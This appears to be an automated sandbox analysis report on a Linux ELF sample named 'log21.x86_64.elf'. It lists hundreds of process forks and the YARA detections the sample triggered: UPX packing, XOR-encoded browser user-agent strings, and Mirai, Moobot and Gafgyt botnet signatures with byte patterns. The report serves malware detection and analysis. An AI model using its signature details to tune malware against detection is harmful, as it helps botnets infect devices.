log21.x86_64.elf New Fork (PID: 7186, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7187, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7188, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7189, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7190, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7191, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7192, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7193, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7194, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7195, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7196, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7197, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7198, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7199, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7202, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7203, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7204, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7205, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7206, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7207, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7208, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7209, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7210, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7211, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7212, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7213, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7214, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7215, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7216, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7217, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7218, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7219, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7220, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7221, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7222, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7223, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7224, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7225, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7226, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7227, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7228, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7229, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7230, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7231, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7232, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7233, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7234, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7235, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7236, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7237, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7238, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7239, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7240, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7241, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7242, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7243, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7244, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7245, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7246, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7247, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7248, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7249, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7250, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7251, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7252, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7253, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7254, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7255, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7256, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7257, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7258, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7259, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7260, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7261, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7266, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7267, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7268, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7269, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7270, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7271, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7272, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7273, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7274, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7275, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7276, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7277, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7278, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7279, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7280, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7281, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7282, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7283, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7284, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7285, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7286, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7287, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7288, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7289, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7290, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7291, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7292, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7293, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7294, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7295, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7296, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7297, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7298, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7299, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7300, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7301, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7302, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7303, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7304, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7305, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7306, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7307, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7308, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7309, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7310, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7311, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7312, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7315, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7316, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7317, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7318, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7319, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7320, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7321, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7322, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7323, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7324, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7325, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7326, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7327, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7328, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7329, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7330, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7331, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7332, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7333, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7334, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7335, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7336, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7337, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7338, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7339, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7340, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7341, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7342, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7343, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7344, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7345, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7346, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7347, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7348, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7349, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7350, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7351, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7352, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7353, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7354, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7355, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7356, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7357, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7358, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7359, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7360, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7361, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7362, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7363, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7364, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7365, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7366, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7367, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7368, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7369, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7370, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7371, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7372, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7373, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7374, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7375, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7376, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7377, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7378, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7379, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7380, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7381, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7382, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7383, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7384, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7385, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7386, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7387, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7388, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7389, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7392, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7393, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7394, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7395, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7396, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7397, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7398, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7399, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7400, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7401, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7402, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7403, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7404, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7405, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7406, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7407, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7408, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7409, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7410, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7411, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7412, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7413, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7414, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7415, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7416, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7417, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7418, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7419, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7420, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7421, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7422, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7423, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7424, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7425, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7426, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7427, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7428, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7429, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7430, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7431, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7432, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7433, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7434, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7435, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7436, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7437, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7438, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7439, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7440, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7441, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7442, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7445, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7446, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7447, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7448, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7449, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7450, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7451, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7452, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7453, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7454, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7455, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7456, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7457, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7458, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7459, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7460, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7461, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7462, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7463, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7464, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7465, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7466, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7467, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7468, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7469, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7470, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7471, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7472, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7473, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7474, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7475, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7476, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7477, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7478, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7479, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7480, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7481, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7482, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7483, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7484, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7485, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7486, Parent: 6226)

log21.x86_64.elf New Fork (PID: 7487, Parent: 6226)

log21.x86_64.elf New Fork (PID: 6228, Parent: 6223)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
log21.x86_64.elf	SUSP_ELF_LNX_UPX_Compressed_File	Detects a suspicious ELF binary with UPX compression	Florian Roth (Nextron Systems)	0xa3a0:$s1: PROT_EXEC\|PROT_WRITE failed. 0xa40f:$s2: $Id: UPX 0xa3c0:$s3: $Info: This file is packed with the UPX executable packer

Memory Dumps

Source	Rule	Description	Author	Strings
6250.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6431.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6999.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6514.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7209.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6888.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6724.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7074.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6724.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6724.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6724.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6724.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6724.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6563.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6691.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
